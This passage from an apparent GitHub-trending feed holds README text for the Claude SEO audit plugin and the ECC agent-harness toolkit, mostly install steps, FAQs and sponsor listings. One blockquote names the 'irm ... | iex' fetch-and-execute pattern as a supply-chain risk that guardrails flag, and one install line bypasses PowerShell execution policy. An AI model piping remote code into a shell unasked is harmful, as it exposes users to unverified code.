install: macOS and Linux</b> \n <br /> \n <img alt=\"Manual install: macOS and Linux: the install typed out in a terminal\" height=\"260\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-unix.svg?sanitize=true\" width=\"1200\" /> \n <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/install.sh\n</code></pre> \n <p>One-liner (curl, review then run):</p> \n <pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/install.sh &gt; install.sh\ncat install.sh        # review before running\nbash install.sh\nrm install.sh\n</code></pre> \n</details> \n<details> \n <b>Manual install: Windows (PowerShell)</b> \n <br /> \n <img alt=\"Manual install: Windows (PowerShell): the install typed out in a terminal\" height=\"260\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-win.svg?sanitize=true\" width=\"1200\" /> \n <pre><code class=\"language-powershell\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\npowershell -ExecutionPolicy Bypass -File claude-seo\\install.ps1\n</code></pre> \n <blockquote> \n  <p><strong>Why <code>git clone</code> instead of <code>irm | iex</code>?</strong> Claude Code's own security guardrails flag <code>irm ... | iex</code> as a supply chain risk: downloading and executing remote code without verification. The <code>git clone</code> approach lets you inspect <code>claude-seo\\install.ps1</code> before running it.</p> \n </blockquote> \n</details> \n<blockquote> \n <p><strong>Two versions.</strong> This public version is MIT licensed and free for everyone. <a href=\"https://www.skool.com/ai-marketing-hub-pro\">AI Marketing Hub Pro</a> members also get a private version with early access to new features. Members install it with:</p> \n <pre><code class=\"language-bash\">/plugin marketplace add AI-Marketing-Hub/claude-seo\n/plugin install claude-seo@ai-marketing-hub-claude-seo\n/seo setup\n</code></pre> \n</blockquote> \n<p><strong>Your first audit:</strong></p> \n<pre><code class=\"language-bash\">claude                                   # start Claude Code\n\n/seo audit https://example.com           # full site audit with a prioritized plan\n/seo page https://example.com/pricing    # one page, in depth\n/seo geo https://example.com             # how ready you are for AI search\n/seo schema https://example.com          # check and generate structured data\n/seo local https://example.com           # local SEO and Google Business Profile\n</code></pre> \n<h2>FAQ</h2> \n<details> \n <b>What is Claude SEO?</b> \n <br /> \n <p>A free, open-source SEO audit tool that runs inside Claude Code. It checks technical SEO, Core Web Vitals, content quality, <a href=\"http://Schema.org\">Schema.org</a> structured data, AI search readiness, local SEO, e-commerce and international SEO, then gives you a prioritized action plan. It follows Google's own documentation, including the <a href=\"https://developers.google.com/search/docs/fundamentals/ai-optimization-guide\">AI Optimization Guide</a>.</p> \n</details> \n<details> \n <b>Is it really free?</b> \n <br /> \n <p>Yes. It is MIT licensed, with no per-site pricing, no usage limits and no tracking. You only need Claude Code. A few optional extensions connect to paid services where you bring your own account, but everything works without them.</p> \n</details> \n<details> \n <b>Do I need API keys?</b> \n <br /> \n <p>No. Claude SEO works out of the box. If you want real field data, you can connect free Google APIs (PageSpeed Insights, Chrome UX Report, Search Console and Google Analytics 4) with <code>/seo google setup</code>. Your keys stay on your machine.</p> \n</details> \n<details> \n <b>How does it help with AI search like Google AI Overviews and ChatGPT?</b> \n <br /> \n <p>Google says optimizing for AI search is still SEO, so Claude SEO starts with the basics that AI answers rely on: being indexed, fast and clear. Then <code>/seo geo</code> scores how easy your pages are to quote, checks that AI crawlers can reach them and looks at your brand's presence on Wikipedia, Reddit, YouTube and LinkedIn. <code>/seo agentic</code> checks how well AI agents can use your site.</p> \n</details> \n<details> \n <b>Does it work on JavaScript sites like Next.js, React or Vue?</b> \n <br /> \n <p>Yes. When a page needs JavaScript to show its content, Claude SEO opens it in a headless browser automatically, so single-page apps are audited as visitors see them.</p> \n</details> \n<details> \n <b>How is it different from Screaming Frog or other SEO tools?</b> \n <br /> \n <p>Crawlers like Screaming Frog crawl faster and deeper, and big SEO suites have their own backlink databases. Claude SEO does something else: it explains what it finds, sorts it by impact, covers AI search in depth and lets you ask follow-up questions in plain English. Many people use both.</p> \n</details> \n<details> \n <b>Does my data leave my computer?</b> \n <br /> \n <p>Claude SEO runs inside Claude Code, so the pages and data it analyzes are sent to Claude, Anthropic's model, the same as anything else you work on in Claude Code. Reports are saved as files on your machine. No SEO service or other third party sees your data unless you connect an extension or API yourself. Besides the site you audit, some checks read public sources such as Wikipedia, Reddit and Common Crawl. See <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/PRIVACY.md\">PRIVACY.md</a> for the full list.</p> \n</details> \n<details> \n <b>Good to know: requirements, limits and uninstall</b> \n <br /> \n <p><strong>Requirements.</strong> Claude Code 1.0.33 or newer and Python 3.11 to 3.14. <code>/seo setup</code> installs the headless browser for you.</p> \n <p><strong>Cost of a full audit.</strong> Five agents that need more judgment run on Opus and the rest on Sonnet, so a full <code>/seo audit</code> uses more of your Claude plan than a single-page check. You can change any agent's model in its file under <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/agents/\"><code>agents/</code></a>.</p> \n <p><strong>Limits.</strong> Without Google API keys, Core Web Vitals are lab estimates and indexing is inferred from the page. Pages that load key content only after scrolling or clicking can give noisy results.</p> \n <p><strong>Uninstall.</strong> Installed as a plugin: <code>/plugin uninstall claude-seo@agricidaniel-claude-seo</code>. Installed manually:</p> \n <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/uninstall.sh\n</code></pre> \n</details> \n<h2>Extensions</h2> \n<p>Optional add-ons that bring in more data. Claude SEO works fully without them.</p> \n<ul> \n <li><strong>Banana:</strong> AI images for SEO, from social previews to blog heroes (<a href=\"https://github.com/AgriciDaniel/banana-claude\">Claude Banana</a>)</li> \n <li><strong>SE Ranking:</strong> your share of voice in ChatGPT, Gemini, Perplexity and Google AI answers</li> \n <li><strong>Profound:</strong> tracks when AI models cite your site</li> \n <li><strong>Bing Webmaster:</strong> Bing data plus instant IndexNow submission</li> \n <li><strong>Unlighthouse:</strong> Lighthouse scores for every page of your site</li> \n</ul> \n<p>Setup guides live in <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/extensions/\"><code>extensions/</code></a>.</p> \n<h2>Star history</h2> \n<a href=\"https://www.star-history.com/#AgriciDaniel/claude-seo&amp;Date\"> \n  \n  <source media=\"(prefers-color-scheme: dark)\" /> \n  <source media=\"(prefers-color-scheme: light)\" /> \n  <img alt=\"Claude SEO GitHub stars over time\" src=\"https://api.star-history.com/svg?repos=AgriciDaniel/claude-seo&amp;type=Date\" width=\"720\" /> \n  </a> \n<h2>More from the same family</h2> \n<table> \n <thead> \n  <tr> \n   <th>Project</th> \n   <th>What it does</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/claude-blog\">Claude Blog</a></td> \n   <td>Writes and optimizes blog posts from your SEO findings</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/banana-claude\">Claude Banana</a></td> \n   <td>AI image generation for SEO assets and posts</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/chatgpt-seo\">ChatGPT SEO</a></td> \n   <td>Turns a page, draft or SEO export into a sourced fix plan inside ChatGPT</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/flow\">FLOW</a></td> \n   <td>An evidence-led SEO framework with 42 AI prompts</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/zubair-trabzada/ai-marketing-claude\">AI Marketing Claude</a></td> \n   <td>Community suite for copy, email, ads and funnels</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Docs:</strong> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/INSTALLATION.md\">Installation</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/COMMANDS.md\">Commands</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/ARCHITECTURE.md\">Architecture</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/TROUBLESHOOTING.md\">Troubleshooting</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/MCP-INTEGRATION.md\">Extensions setup</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/SECURITY.md\">Security</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/PRIVACY.md\">Privacy</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/CONTRIBUTORS.md\">Contributors</a></p> \n<h2>License and contributing</h2> \n<p>MIT License, see <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/LICENSE\">LICENSE</a>. Contributions are welcome: read <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> first and mention the checks you ran in your pull request.</p> \n<h2>Author</h2> \n<p>Built by <strong><a href=\"https://agricidaniel.com/about\">Agrici Daniel</a></strong>, AI Workflow Architect, with help from the <a href=\"https://www.skool.com/ai-marketing-hub-pro\">AI Marketing Hub Pro</a> community.</p> \n<img alt=\"Thanks for playing: the three bots by a bonfire fed with search engine logos while the credits crawl into the stars.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/credits.svg?sanitize=true\" width=\"1200\" /> \n<p align=\"center\"> <a href=\"https://www.youtube.com/@AgriciDaniel\"><img alt=\"Claude Code tutorials and demos on YouTube\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-youtube.svg?sanitize=true\" width=\"137\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub\"><img alt=\"AI Marketing Hub, the free community on Skool\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-hub.svg?sanitize=true\" width=\"210\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub-pro\"><img alt=\"AI Marketing Hub Pro: early access to this skill\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-pro.svg?sanitize=true\" width=\"155\" /></a> </p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/affaan-m/ECC", "url": "https://github.com/affaan-m/ECC", "external_url": null, "title": "affaan-m/ECC", "content_text": "", "content_html": "<p>The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://ecc.tools\">https://ecc.tools</a></p><hr /><p align=\"center\"> <img alt=\"ECC - the agent harness operating system\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/hero.png\" width=\"100%\" /> </p> \n<p align=\"center\"> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"GitHub Trending Repository of the Day\" height=\"46\" src=\"https://api.star-history.com/badge?repo=affaan-m/ECC&amp;type=trending\" /> \n   </a> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"Star History Global Rank\" height=\"46\" src=\"https://api.star-history.com/badge?repo=affaan-m/ECC&amp;type=rank\" /> \n   </a> </p> \n<p align=\"center\"> <strong>Language:</strong> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/README.md\">English</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ar/README.md\">\u0627\u0644\u0639\u0631\u0628\u064a\u0629</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/pt-BR/README.md\">Portugu\u00eas (Brasil)</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/README.zh-CN.md\">\u7b80\u4f53\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/zh-TW/README.md\">\u7e41\u9ad4\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ja-JP/README.md\">\u65e5\u672c\u8a9e</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ko-KR/README.md\">\ud55c\uad6d\uc5b4</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/tr/README.md\">T\u00fcrk\u00e7e</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ru/README.md\">\u0420\u0443\u0441\u0441\u043a\u0438\u0439</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/vi-VN/README.md\">Ti\u1ebfng Vi\u1ec7t</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/th/README.md\">\u0e44\u0e17\u0e22</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/de-DE/README.md\">Deutsch</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/es/README.md\">Espa\u00f1ol</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/uk-UA/README.md\">\u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/pl/README.md\">Polski</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/bn/README.md\">\u09ac\u09be\u0982\u09b2\u09be</a> </p> \n<p align=\"center\"> <a href=\"https://discord.gg/36yGMHGFbR\"><img alt=\"Discord\" src=\"https://img.shields.io/discord/1496644400590094540?logo=discord&amp;logoColor=white&amp;label=Discord&amp;color=5865F2\" /></a> <a href=\"https://ecc.tools\"><img alt=\"Website\" src=\"https://img.shields.io/badge/Website-ecc.tools-E07856?logo=googlechrome&amp;logoColor=white\" /></a> <a href=\"https://github.com/apps/ecc-tools\"><img alt=\"GitHub App\" src=\"https://img.shields.io/badge/GitHub%20App-ECC%20Tools-181717?logo=github&amp;logoColor=white\" /></a> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/LICENSE\"><img alt=\"MIT license\" src=\"https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true\" /></a> </p> \n<p align=\"center\"> <a href=\"https://github.com/affaan-m/ECC\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/affaan-m/ECC/forks\"><img alt=\"GitHub forks\" src=\"https://img.shields.io/github/forks/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/affaan-m/ECC/graphs/contributors\"><img alt=\"Contributors\" src=\"https://img.shields.io/github/contributors/affaan-m/ECC?style=flat\" /></a> <a href=\"https://github.com/marketplace/ecc-tools\"><img alt=\"GitHub App installs\" src=\"https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Finstalls&amp;logo=github\" /></a> </p> \n<p align=\"center\"> <a href=\"https://www.npmjs.com/package/ecc-universal\"><img alt=\"ecc-universal npm downloads\" src=\"https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal&amp;logo=npm\" /></a> <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><img alt=\"ecc-agentshield npm downloads\" src=\"https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield&amp;logo=npm\" /></a> </p> \n<p align=\"center\"> <img alt=\"Shell\" src=\"https://img.shields.io/badge/-Shell-4EAA25?logo=gnu-bash&amp;logoColor=white\" /> <img alt=\"TypeScript\" src=\"https://img.shields.io/badge/-TypeScript-3178C6?logo=typescript&amp;logoColor=white\" /> <img alt=\"Python\" src=\"https://img.shields.io/badge/-Python-3776AB?logo=python&amp;logoColor=white\" /> <img alt=\"Go\" src=\"https://img.shields.io/badge/-Go-00ADD8?logo=go&amp;logoColor=white\" /> <img alt=\"Java\" src=\"https://img.shields.io/badge/-Java-ED8B00?logo=openjdk&amp;logoColor=white\" /> <img alt=\"Perl\" src=\"https://img.shields.io/badge/-Perl-39457E?logo=perl&amp;logoColor=white\" /> <img alt=\"Markdown\" src=\"https://img.shields.io/badge/-Markdown-000000?logo=markdown&amp;logoColor=white\" /> </p> \n<div class=\"markdown-alert markdown-alert-warning\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-alert mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Warning</p>\n <p><strong>Official sources only.</strong> Install ECC only from verified channels: the GitHub repository <a href=\"https://github.com/affaan-m/ECC\">github.com/affaan-m/ECC</a>, the npm packages <a href=\"https://www.npmjs.com/package/ecc-universal\"><code>ecc-universal</code></a> and <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><code>ecc-agentshield</code></a>, the <a href=\"https://github.com/apps/ecc-tools\">GitHub App</a>, the plugin slug <code>ecc@ecc</code>, and the project website <a href=\"https://ecc.tools\">ecc.tools</a>. Third-party re-uploads and unofficial mirrors are not maintained or reviewed by the project and may contain malware.</p> \n</div> \n<h2>Install with Claude Code</h2> \n<p>Use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#install-ecc\">guided setup</a> or <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#claude-code-details\">native plugin commands</a>. Both install the same <code>ecc@ecc</code> plugin. Choose one and do not stack a full manual Claude install on top.</p> \n<div align=\"center\"> \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://ecc.tools/pricing\"> <img alt=\"ECC Tools\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/ecc-tools-mark.svg?sanitize=true\" /><br /> <strong>ECC Pro + GitHub App</strong> </a><br /> <sub><a href=\"https://github.com/apps/ecc-tools\">Install free</a> \u00b7 <a href=\"https://ecc.tools/pricing\">Private repos from $19/seat/mo</a></sub> </td> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://github.com/sponsors/affaan-m\"> <img alt=\"\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/heart.svg?sanitize=true\" /><br /> <strong>Sponsor ECC</strong> </a><br /> <sub>Fund the open-source project</sub> </td> \n    <td align=\"center\" width=\"33%\"> <a href=\"https://discord.gg/36yGMHGFbR\"> <img alt=\"Discord\" height=\"42\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/discord.svg?sanitize=true\" /><br /> <strong>Community</strong> </a><br /> <sub>Discord \u00b7 Q&amp;A \u00b7 Show and Tell</sub> </td> \n   </tr> \n  </tbody>\n </table> \n</div> \n<p><sub><strong>OSS stays free.</strong> This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href=\"https://github.com/sponsors/affaan-m\">Sponsors</a> and <a href=\"https://ecc.tools/pricing\">Pro subscribers</a> fund the work. That's why a single maintainer ships weekly across 7 harnesses.</sub></p> \n<div align=\"center\"> \n <p><sub><strong>Partners &amp; sponsors</strong></sub></p> \n <p align=\"center\"> <a href=\"https://www.coderabbit.ai\" title=\"CodeRabbit\"><img alt=\"CodeRabbit\" height=\"54\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/coderabbit.png\" /></a>&nbsp;&nbsp;&nbsp; <a href=\"https://www.greptile.com/go/ecc\" title=\"Greptile\"><img alt=\"Greptile\" height=\"54\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/greptile.png\" /></a>&nbsp;&nbsp;&nbsp; <a href=\"https://platform.kimi.ai?aff=ecc\" title=\"Moonshot AI - Kimi\">\n   \n    <source media=\"(prefers-color-scheme: dark)\" />\n    <img alt=\"Moonshot AI - Kimi\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/moonshot.png\" width=\"132\" />\n   </a>&nbsp;&nbsp;&nbsp; <a href=\"https://compute.itomarkets.com\" title=\"It\u00f4 Markets\">\n   \n    <source media=\"(prefers-color-scheme: light)\" />\n    <img alt=\"It\u00f4 Markets\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/ito-transparent.png\" width=\"96\" />\n   </a>&nbsp;&nbsp;&nbsp; <a href=\"https://serpapi.com/github-ecc\" title=\"SerpApi: Web Search API\">\n   \n    <source media=\"(prefers-color-scheme: dark)\" />\n    <img alt=\"SerpApi: Web Search API\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/serpapi-logo-light-mode.svg?sanitize=true\" width=\"200\" />\n   </a> </p> \n <p><sub><strong>Past sponsors:</strong> <a href=\"https://www.atlascloud.ai/?utm_source=github&amp;utm_medium=link&amp;utm_campaign=ECC\">Atlas Cloud</a> \u00b7 <a href=\"https://github.com/mikejmorgan-ai\">Mike Morgan (inactive)</a></sub></p> \n <p><sub><strong>Community sponsors:</strong> <a href=\"https://github.com/jasonwu513\">@jasonwu513</a> \u00b7 <a href=\"https://github.com/1anter\">@1anter</a> \u00b7 <a href=\"https://github.com/massimotodaro\">@massimotodaro</a> \u00b7 <a href=\"https://github.com/meadmccabe\">@meadmccabe</a></sub></p> \n <p><sub><a href=\"https://github.com/sponsors/affaan-m\"><strong>Become a Sponsor</strong></a> \u00b7 <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">Sponsor Tiers</a> \u00b7 <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORING.md\">Sponsorship Program</a></sub></p> \n</div> \n<p align=\"center\"><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#install-ecc\">Jump to install \u2193</a></p> \n<h1>ECC</h1> \n<p>Your agent can write code, but ECC gives it a coordinated engineering system and toolbox: it plans before it builds, verifies changes with tests, reviews its own work from a fresh context, remembers what matters, and turns repeated wins into reusable skills and workflows.</p> \n<pre><code class=\"language-text\">plan -&gt; test -&gt; implement -&gt; review -&gt; verify -&gt; remember -&gt; improve\n</code></pre> \n<p>Instead of rebuilding that process in every prompt, you install it once and make it part of how your agent works.</p> \n<blockquote> \n <p>Optimize the context window. Persist everything else.</p> \n</blockquote> \n<p>ECC is MIT-licensed open source. It works best with Claude Code today, has native Codex and Qoder plugin paths, and provides capability-limited adapters for Cursor, OpenCode, Gemini, Zed, GitHub Copilot, Antigravity, Qwen, and other harnesses. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">support status matrix</a> before assuming feature parity.</p> \n<p>Access to 71 agents, 311 skills, and 97 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work.</p> \n<table> \n <thead> \n  <tr> \n   <th>Included</th> \n   <th style=\"text-align: right;\">Count</th> \n   <th>What it gives you</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Agents</td> \n   <td style=\"text-align: right;\">71 agents</td> \n   <td>Planning, review, build repair, security, architecture, and domain work</td> \n  </tr> \n  <tr> \n   <td>Skills</td> \n   <td style=\"text-align: right;\">311 skills</td> \n   <td>TDD, research, security, docs, frontend, data, ML, operations, and more</td> \n  </tr> \n  <tr> \n   <td>Commands</td> \n   <td style=\"text-align: right;\">97 commands</td> \n   <td>Convenient entry points while ECC moves to a skills-first surface</td> \n  </tr> \n  <tr> \n   <td>Hooks and memory</td> \n   <td style=\"text-align: right;\">Runtime</td> \n   <td>Enforcement, session summaries, continuous learning, instincts, and context controls</td> \n  </tr> \n  <tr> \n   <td>Rules</td> \n   <td style=\"text-align: right;\">Selective</td> \n   <td>Always-loaded standards you choose by language or project</td> \n  </tr> \n  <tr> \n   <td>AgentShield</td> \n   <td style=\"text-align: right;\">Included</td> \n   <td>Scanning for prompts, hooks, MCP config, permissions, secrets, and agent files</td> \n  </tr> \n </tbody> \n</table> \n<p align=\"center\"> <a href=\"https://www.star-history.com/affaan-m/ecc\"> \n   \n   <source media=\"(prefers-color-scheme: dark)\" /> \n   <img alt=\"Live star history chart for affaan-m/ECC\" src=\"https://api.star-history.com/svg?repos=affaan-m/ECC&amp;type=Date\" width=\"100%\" /> \n   </a> </p> \n<h2>Install ECC</h2> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p>ECC 2.2 includes guided package setup for Claude Code, Codex, and Kimi Code. The universal package requires Node.js 18 or newer. Claude plugin setup also requires Git and Claude Code 2.1 or newer on <code>PATH</code>.</p> \n</div> \n<h3>Recommended: universal guided setup</h3> \n<p>For Claude Code plugin setup, updates, scope changes, and hook-profile changes:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 setup\n</code></pre> \n<h4>Windows first-time walkthrough</h4> \n<p>If you are new to command-line tools, use this copy-and-paste path:</p> \n<ol> \n <li> <p>Install Node.js 18 or newer, Git, and Claude Code.</p> </li> \n <li> <p>Open <strong>PowerShell</strong> from the Windows Start menu.</p> </li> \n <li> <p>Confirm that each prerequisite is available:</p> <pre><code class=\"language-powershell\">node --version\ngit --version\nclaude --version\n</code></pre> </li> \n <li> <p>Run the guided installer:</p> <pre><code class=\"language-powershell\">npx ecc-universal@2.2.3 setup\n</code></pre> </li> \n <li> <p>For a typical personal setup, choose <strong>Global user</strong>, choose <strong>Standard</strong> hooks, and confirm.</p> </li> \n <li> <p>Start a new Claude Code session and run <code>/plugin list</code> to verify that <code>ecc@ecc</code> is enabled.</p> </li> \n</ol> \n<p>This path does not require cloning the repository. If any prerequisite command is not found, install or repair that prerequisite before rerunning ECC setup.</p> \n<p>If npm reports a version or cache error, confirm the registry version before retrying:</p> \n<pre><code class=\"language-bash\">npm view ecc-universal version\n</code></pre> \n<p>ECC 2.2 supports the same guided setup through modern package runners:</p> \n<table> \n <thead> \n  <tr> \n   <th>Package runner</th> \n   <th>Guided setup command</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>npm / npx</td> \n   <td><code>npx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>pnpm</td> \n   <td><code>pnpm dlx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>Yarn 2+</td> \n   <td><code>yarn dlx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n  <tr> \n   <td>Bun</td> \n   <td><code>bunx ecc-universal@2.2.3 setup</code></td> \n  </tr> \n </tbody> \n</table> \n<p>The examples select <a href=\"https://www.npmjs.com/package/ecc-universal/v/2.2.3\">the published ECC 2.2.3 release</a>, matching this repository's release version. A version pin is not a security audit or an integrity check. Review the release source and registry integrity before running package code; use a reviewed checkout for unreleased changes.</p> \n<p>Yarn Classic 1 does not provide <code>yarn dlx</code>; use <code>npx</code>, install the package globally, or upgrade Yarn for a temporary one-shot run.</p> \n<p>The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves <code>ecc@ecc</code> to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code.</p> \n<p>To configure more than one coding agent in one reviewed flow, use the multi-harness wizard:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided\n</code></pre> \n<p>It lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Guided install behavior</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td>Native <code>ecc@ecc</code> plugin with one <code>user</code>, <code>project</code>, or <code>local</code> scope and an ECC hook profile</td> \n  </tr> \n  <tr> \n   <td>Codex</td> \n   <td>Native Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned</td> \n  </tr> \n  <tr> \n   <td>Kimi Code</td> \n   